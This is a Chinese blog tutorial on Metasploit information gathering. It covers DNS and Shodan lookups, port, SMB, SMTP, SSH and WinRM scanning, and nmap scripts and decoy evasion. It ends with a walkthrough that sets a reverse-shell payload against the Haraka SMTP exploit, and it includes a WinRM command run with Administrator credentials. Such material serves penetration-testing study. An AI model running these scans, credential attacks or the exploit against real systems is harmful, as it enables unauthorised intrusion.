Metasploit技术-01-信息收集

参考链接:
第八章(二)—漏洞扫描(nmap脚本使用)–作者:婉哥

nmap脚本(nse)使用总结–作者 whatday

Metasploit快速入门(二)–公众号:合天智汇

MS渗透的大致步骤如下:

  • 扫描目标机系统,寻找可用漏洞
  • 选择配置一个漏洞利用模块
  • 选择并配置一个攻击载荷模块
  • 选择一个编码技术,用来绕过杀毒软件的查杀
  • 渗透攻击

1.主机扫描

目的:
目标机器的IP、可用服务、开放端口等等

1.1、被动信息收集

模块显示:

search + XXX

gather模块

search gather 

在这里插入图片描述

1.1.1、DNS扫描

DNS扫描和枚举模块,可用于从给定的DNS服务器收集有关域名的信息,执行各种DNS查询(如域传送、反向查询、SRV记录等)

1、进入模块:use auxiliary/gather/enum_dns
查看模块信息:info
在这里插入图片描述
2、设置查询域名、线程数量,然后运行它。

set DOMAIN rongjiu168.com //设置查询域名
set THREADS 5 //设置线程数量
run //运行它

通过输出信息查看DNS记录。
在这里插入图片描述

更多:

1.1.2、公司信息收集

在这里插入图片描述

1.1.3、搜索引擎子域名搜集器

在这里插入图片描述
从Yahoo和Bing收集域名的子域信息。
调用此模块:
use auxiliary/gather/searchengine_subdomains_collector

(可能是由于Q或者其他原因吧,导致搜不出来。)
在这里插入图片描述

1.1.4、Censys搜索模块

Censys搜索引擎,与最流行的搜索引擎Shodan非常类似。Censys是一款免费的搜索引擎,密歇根大学的研究者开发的检索引擎,用的是自己开发的Scan工具:zmap。速度比Nmap快N倍,传说4分钟可以扫全IPv4。但是api使用还是有次数限制。

use auxiliary/gather/censys_search		//调用模块
set CENSYS_DORK packtpub.com 		//设置目标站点
set CENSYS_SEARCHTYPE ipv4		 //设置搜索类型

PS://还需要设置censys密钥和API_ID,但是这两个需要在 https://censys.io/register 注册获取API和密钥

在这里插入图片描述

1.1.5、Shodan搜索和蜜罐检测

shodan搜索引擎
与谷歌不同的是,Shodan不是在网上搜索网址,而是直接进入互联网的背后通道。Shodan可以说是一款“黑暗”谷歌,一刻不停的在寻找着所有和互联网关联的服务器、摄像头、打印机、路由器等等。每个月Shodan都会在大约5亿个服务器上日夜不停地搜集信息。

PS:需要使用此模块也需要去shodan官网 https://account.shodan.io/login 注册过去API key。
调用模块:

use  auxiliary/gather/shodan_search

如下,可以根据参数设置对应信息,获取搜索结果。
在这里插入图片描述

shodan蜜罐检测:
检测目标是否为蜜罐,避免浪费时间或因为试图攻击蜜罐而被封锁。使用 Shodan Honeyscore Client 模块,可
以利用 Shodan 搜索引擎检测目标是否为蜜罐。结果返回为 0 到 1 的评级分数,如果是 1 ,则是一个蜜罐。

调用模块:

use auxiliary/gather/shodan_honeyscore

如下,可以根据参数设置对应信息,获取检测结果。
在这里插入图片描述

1.2、主动信息收集

查看可用的端口模块:

search portscan

在这里插入图片描述

1.2.1、端口扫描-TCP扫描

从上面可以看见有许多的扫描类型,在此我们以TCP扫描为例:

TCP端口扫描

调用模块:

use auxiliary/scanner/portscan/tcp

利用 show options 查看所有的配置选项。用 show missing 查看必须要配置的选项。
在这里插入图片描述

接下来,我们来分析一下上面的的参数:
set命令设置参数,unser命令取消某个参数。

在Required列中,被标记为yes的参数必须包含实际的值,如没有设置的话,将调用默认值(即在current setting中的值)。
RHOSTS:设置待扫描的IP地址
PORTS:设置扫描的端口范围
THREADS:设置扫描线程,线程越高,数量越快。

在这里插入图片描述

TCP SYN扫描

相对普通的TCP扫描来说,SYN扫描速度比较快,因为他不会完成TCP三次握手,而且可以在一定程度上躲避防火墙和入侵检测系统的检测。

调用模块;

use auxiliary/scanner/portscan/syn

在这里插入图片描述

1.2.2、Nmap:端口扫描

进入nmap:

msf5>  nmap

1.TCP扫描:参数为 -sT, nmap -sT 192.168.1.XXX
在这里插入图片描述

2.TCP SYN扫描:参数为-sS, nmap -sS 192.168.1.XXX
在这里插入图片描述

3.UDP扫描:参数为 -sU, nmap -sU 192.168.1.XXX
在这里插入图片描述
4系统.扫描端口,及端口相关服务与版本号,参数为 -sV, nmap -sV 192.168.1.xxx
在这里插入图片描述
5.操作系统和版本检测,参数- O,nmap -O 192.168.1.XXX
在这里插入图片描述

6.隐蔽扫描
默认情况下,防火墙和IDS日志会记录你的IP,nmap中提供了-D选项来增加迷惑性。

他是通过添加其他的IP地址,让目标以为是多个IP在攻击,并不能阻止防火墙和IDSji记录你的IP。

msf5>  nmap -sT 192.168.1.177 -D 192.168.1.1,192.168.1.2

1.2.3、基于ARP的主机发现

地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。
主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;
收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。

ARP欺骗:

地址解析协议ARP是建立在网络中各个主机互相信任的基础上的,局域网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存;
由此攻击者就可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。

通过ARP可以枚举本地网络中的存活主机,提供一个简单而快速的识别目标的方法。
如下,我们可以通过arp -a指令查看一下我们自己计算机的ARP缓存表:
在这里插入图片描述
当我们的攻击者与目标机器处于同一个局域网时,可以通过执行 ARP 扫描发现主机。

1.使用ARP 扫描模块( auxiliary/scanner/discovery/arp_sweep

use auxiliary/scanner/discovery/arp_sweep

通过 show options 查看需要的范围。
在这里插入图片描述
设置目标地址范围和并发线程,然后运行。

sf5 auxiliary(scanner/discovery/arp_sweep) > set RHOSTS 192.168.1.0/24		//设置主机IP范围
RHOSTS => 192.168.1.0/24
msf5 auxiliary(scanner/discovery/arp_sweep) > set THREADS 100		//设置线程数
THREADS => 100
msf5 auxiliary(scanner/discovery/arp_sweep) > run		//运行

如果连接了数据库的话,可以输入 hosts 查看存在的机器如下所示:
在这里插入图片描述

1.2.4、UDP服务识别

使用UDP服务扫描模块检测系统的UDP服务,由于UDP是一个无连接的协议(不面向连接),因此探测比TCP困难。

调用模块:

use auxiliary/scanner/discovery/udp_sweep 

set设置模块目标范围,然后run运行扫描。扫描结果如下:
在这里插入图片描述

1.2.5、SMB扫描和枚举

Samba是Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网的不同计算机之间提供文件及打印机等资源的共享服务。

SMB(全称是Server Message Block)是一个协议名,它能被用于Web连接和客户端与服务器之间的信息沟通。已被证明是最容易被攻击的协议之一,它允许攻击枚举目标文件和用户,甚至是远程代码执行。

在这我们使用无需身份验证的共享枚举模块,帮助我们收集一些有价值的东西。
调用模块:

use  auxiliary/scanner/smb/smb_enumshares

设置必要的相关参数:

msf5 auxiliary(scanner/smb/smb_enumshares) > set RHOSTS 192.168.1.177
RHOSTS => 192.168.1.177
msf5 auxiliary(scanner/smb/smb_enumshares) > set SMBPASS vagrant
SMBPASS => vagrant
msf5 auxiliary(scanner/smb/smb_enumshares) > set SMBUser vagrant
SMBUser => vagrant
msf5 auxiliary(scanner/smb/smb_enumshares) > set ShowFiles true
ShowFiles => true
msf5 auxiliary(scanner/smb/smb_enumshares) > sett SpiderShares
^CInterrupt: use the 'exit' command to quit
msf5 auxiliary(scanner/smb/smb_enumshares) > set SpiderShares
SpiderShares => false
msf5 auxiliary(scanner/smb/smb_enumshares) > show options

检查我们设置的参数是否有问题,没问题的话输入 run 运行结果。

1.2.6、SSH版本扫描和检测

SSH,为 Secure Shell 的缩写,SSH 是较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。

1、调用SSH版本探测模块来获取目标系统上运行的SSH版本信息。

use auxiliary/scanner/ssh/ssh_version 

在这里插入图片描述
这里的RHOSTS选项也可以指定为网络地址,从而扫描整个网段。
获取版本信息之后,我们就可以搜索该版本的漏洞信息。

2、如下,为使用ssh登录测试模块测试常用口令登录ssh
在这里插入图片描述
3、如果登录成功,可以用sessions车看回话与目标进行会话交互。
在这里插入图片描述

1.2.7、FTP扫描

同理,可以使用模块来检测正在运行的ftp的版本。
调用模块:

use auxiliary/scanner/ftp/ftp_version 

在这里插入图片描述
我们可以使用services命令查看已检测的服务信息。
在这里插入图片描述

1.2.8、SMTP枚举

SMTP是一种提供可靠且有效的电子邮件传输的协议。SMTP是建立在FTP文件传输服务上的一种邮件服务,主要用于系统之间的邮件信息传递,并提供有关来信的通知。
使用SMTP,可实现相同网络处理进程之间的邮件传输,也可通过中继器或网关实现某处理进程与其他网络之间的邮件传输。

SMTP服务,服务于两个允许枚举用户的内部命令:

  • VRFY(确认有效用户名)
  • EXPN(显示用户的实际地址,别名和邮件列表)

默认情况下,SMTP枚举模块使用 unix_users.txt 文件(/usr/share/metasploit-framework/data/wordlists/unix_users.txt)作为字典,也可以自己指定字典文件。

调用模块。

use auxiliary/scanner/smtp/smtp_enum

设置好目标IP和线程没然后run开始
在这里插入图片描述

1.2.9、SNMP枚举

简单网络管理协议(SNMP) 是专门设计用于在 IP 网络管理网络节点(服务器、工作站、路由器、交换机及HUBS等)的一种标准协议,它是一种应用层协议。

在这里插入图片描述
调用模块:

use  auxiliary/scanner/snmp/snmp_enum

设置好目标IP和线程没然后run开始。
在这里插入图片描述

1.2.10、HTTP扫描

  HTTP协议,全称为HyperText Transfer Protocol,中文名为超文本传输协议,是互联网中最常用的一种网络协议。HTTP的重要应用之一是WWW服务。设计HTTP协议最初的目的就是提供一种发布和接受HTML(一种页面标记语言)页面的方法。

1.检测目标机器的HTTP SSL证书。

msf5 auxiliary(scanner/snmp/snmp_enum) > use auxiliary/scanner/http/cert //调用模块
msf5 auxiliary(scanner/http/cert) > set RHOSTS 111.75.188.59	//设置目标IP
RHOSTS => 111.75.188.59
msf5 auxiliary(scanner/http/cert) > set PORT 8080  	//设置端口
PORT => 8080
msf5 auxiliary(scanner/http/cert) > run

在这里插入图片描述

2.检测robots.txt 文件

msf5 auxiliary(scanner/http/cert) > use auxiliary/scanner/http/robots_txt
msf5 auxiliary(scanner/http/robots_txt) > use auxiliary/scanner/http/cert 
msf5 auxiliary(scanner/http/cert) > set RHOSTS 192.168.1.177
RHOSTS => 192.168.1.177
msf5 auxiliary(scanner/http/cert) > set PORT 10000
PORT => 10000
msf5 auxiliary(scanner/http/cert) > run

在这里插入图片描述

3.HTTP可写路径 PUT/DELETE 文件访问模块可以通过 PUT 和DELETE 请求上传和删除Web服务器上的内容。
在这里插入图片描述

1.2.11、WinRM扫描和爆破

WinRM是Windows本地的内置远程管理协议,其最简单的形式是使用“简单对象访问协议”与远程计算机和服务器以及操作系统和应用程序接口。

1、windows身份认证检测

msf5 auxiliary(scanner/http/http_put) > use auxiliary/scanner/winrm/winrm_auth_methods 
msf5 auxiliary(scanner/winrm/winrm_auth_methods) > set RHOSTS 192.168.1.177
RHOSTS => 192.168.1.177
msf5 auxiliary(scanner/winrm/winrm_auth_methods) > run

在这里插入图片描述
2、使用winRM命令运行模块

msf5 auxiliary(scanner/winrm/winrm_cmd) > use auxiliary/scanner/winrm/winrm_cmd
msf5 auxiliary(scanner/winrm/winrm_cmd) > set CMD hostname
CMD => hostname
msf5 auxiliary(scanner/winrm/winrm_cmd) > set RHOSTS 192.168.XXX.XXX
RHOSTS => 192.168.31.234
msf5 auxiliary(scanner/winrm/winrm_cmd) > set USERNAME Administrator
USERNAME => Administrator
msf5 auxiliary(scanner/winrm/winrm_cmd) > set PASSWORD XXXXXX
PASSWORD => hhazj1234
msf5 auxiliary(scanner/winrm/winrm_cmd) > run

在这里插入图片描述

1.3、脚本引擎-Nmap

map扫描脚本,它可以将nmap转为漏洞扫描器使用,NSE默认集成500多个脚本,这些脚本是有分类的,每个脚本所做的工作是不同方面的。

/usr/share/nmap/scripts/   #nmap的脚本都在该目录下存放
cat script.db
less script.db | grep vuln | wc -l #查看nmap中有多少个关于弱点vuln的脚本

如下,后面的脚本的大致分类:

auth: 负责处理鉴权证书(绕开鉴权)的脚本  
broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务  
brute: 提供暴力破解方式,针对常见的应用如http/snmp等  
default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力  
discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等  
dos: 用于进行拒绝服务攻击  
exploit: 利用已知的漏洞入侵系统  
external: 利用第三方的数据库或资源,例如进行whois解析  
fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞 intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽  
malware: 探测目标机是否感染了病毒、开启了后门等信息  
safe: 此类与intrusive相反,属于安全性脚本  
version: 负责增强服务与版本扫描(Version Detection)功能的脚本  
vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067

我们也可以用 cat script.db进行分类查看。如下
在这里插入图片描述

我们可以在/usr/share/nmap/scripts/ 目录中找到这些脚本,或者如下,用 locate *.nse 来找到。
在这里插入图片描述
大致用法为:nmap --script <scriptname> <hostip>

如果想要使用这个分类下的所有脚本,可以在–script的后面加上分类名称,同样我们可以用相似的方法来提高目标版本的检测功能,以及将目标端口设置为全部有效端口。

nmap -p- -sV --version-all --script discovery 192.168.1.177

nmap应用扩展:

来自于链接:http://blog.sina.com.cn/s/blog_b02937e80102wg23.html

进行ping扫描,打印出对扫描做出响应的主机,不做进一步测试(如端口扫描或者操作系统探测):
nmap -sP 192.168.1.0/24
仅列出指定网络上的每台主机,不发送任何报文到目标主机:
nmap -sL 192.168.1.0/24
探测目标主机开放的端口,可以指定一个以逗号分隔的端口列表(如-PS22,23,25,80):
nmap -PS 192.168.1.234
使用UDP ping探测主机:
nmap -PU 192.168.1.0/24
使用频率最高的扫描选项:SYN扫描,又称为半开放扫描,它不打开一个完全的TCP连接,执行得很快:
nmap -sS 192.168.1.0/24
当SYN扫描不能用时,TCP Connect()扫描就是默认的TCP扫描:
nmap -sT 192.168.1.0/24
UDP扫描用-sU选项,UDP扫描发送空的(没有数据)UDP报头到每个目标端口:
nmap -sU 192.168.1.0/24
确定目标机支持哪些IP协议 (TCP,ICMP,IGMP等):
nmap -sO 192.168.1.19
探测目标主机的操作系统:
nmap -O 192.168.1.19
nmap -A 192.168.1.19

1.4、漏洞利用-举例smtp

从上面扫描的主机,我们可以发现上面含有smtp协议,因此我们可以 search smtp 搜索smtp的漏洞利用模块,并选择合适的模块,如下图所示。
在这里插入图片描述
我们可以查看各个漏洞的rank。从而判断他的利用相对难易度,可以优先使用标记为"excellent"的,即杰出省时间而且是最新的。

use选择我们想要的模块。

use exploit/linux/smtp/harak

在这里插入图片描述
show查看可利用的攻击载荷。

show payloads

在这里插入图片描述
在这里我们用 set 选择一个我们可能需要载荷吧。

set PAYLOAD generic/shell_reverse_tcp

然后再用 set 对其他参数进行设置。

sf5 exploit(linux/smtp/haraka) > set PAYLOAD generic/shell_reverse_tcp //选择攻击载荷
PAYLOAD => generic/shell_reverse_tcp
msf5 exploit(linux/smtp/haraka) > set RHOST 192.168.1.177			//设置被攻击主机IP
RHOST => 192.168.1.177
msf5 exploit(linux/smtp/haraka) > set RPORT 25		//设置漏洞利用端口号
RPORT => 25
msf5 exploit(linux/smtp/haraka) > set LHOST 192.168.10.130	//设置发动攻击主机IP
LHOST => 192.168.10.130
msf5 exploit(linux/smtp/haraka) > show options		//确认攻击参数是否已经设置号

在这里插入图片描述
设置完成后,我们可以用 exploit或者run 进行攻击。

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值